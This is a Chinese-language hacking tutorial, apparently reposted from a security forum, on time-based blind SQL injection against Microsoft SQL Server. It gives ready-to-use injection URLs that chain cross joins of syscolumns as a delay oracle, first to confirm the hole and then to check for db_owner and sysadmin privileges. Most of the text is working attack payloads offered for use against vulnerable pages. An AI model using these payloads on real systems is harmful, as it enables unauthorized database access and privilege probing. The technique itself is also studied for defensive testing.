注册
登录
| 关键词： syscolumns sys select count sys6 如果 127.0 mssql index 条件 |
作者：night来源:www.54rk.cn 假设有这么一个文件，无论你怎么注入它页面内容都一样。但是他代码却确实存在注入点。select * from table where columnid = $input_id通过文件返回错误来注入是绝对不可能的。因为他页面内容始终一样。这样的漏洞页面绝对有的。自己可以构造出来。 这时候我们怎么注入列？我们用 基于时间的盲目注入。 先看两条语句: select * from sysobjects where id=1 and (SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0and 1=1 select * from sysobjects where id=1 and (SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0and 1=2 第一条语句绝对超时，网页在半小时内应该不会返回结果，第二条马上就返回结果。如果你测试结果跟我说的有出入，那么你就把syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6换成syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6.....syscolumns AS sys100一共100个，还不超时你的电脑就是外星的了。 好现在假设漏洞页面http://127.0.0.1/xml/mssql/index.asp?id=1 我们来这样注入: http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0and 1=1 http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0and 1=2 如果返回时间相差N多，那么绝对有注入。现在我们来判断权限。 http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0and 1=(SELECT IS_MEMBER('db_owner')) http://127.0.0.1/xml/mssql/index.asp?id=1 and (SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0and 1=(SELECT IS_MEMBER('sysadmin')) 其他注入参考网上其他的教程了。只要修改and 1=(SELECT IS_MEMBER('sysadmin'))就行。 因为如果你的条件不成立，那么(SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0判断就不会进入，如果你的条件成立(SELECT count(*) FROM syscolumns AS sys1, syscolumns as sys2,syscolumns AS sys3,syscolumns AS sys4,syscolumns AS sys5,syscolumns AS sys6)>0判断就会执行完。所以，如果网页超时，表示你的条件就成立。你就猜中了信息。如果不超时，证明你的猜测条件是错误的。 ----------对于这文章我已经发布很久了，但是就是没人给我一个反应。。我去年写的到今年一点反应都没有，我都不知道有没有错 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
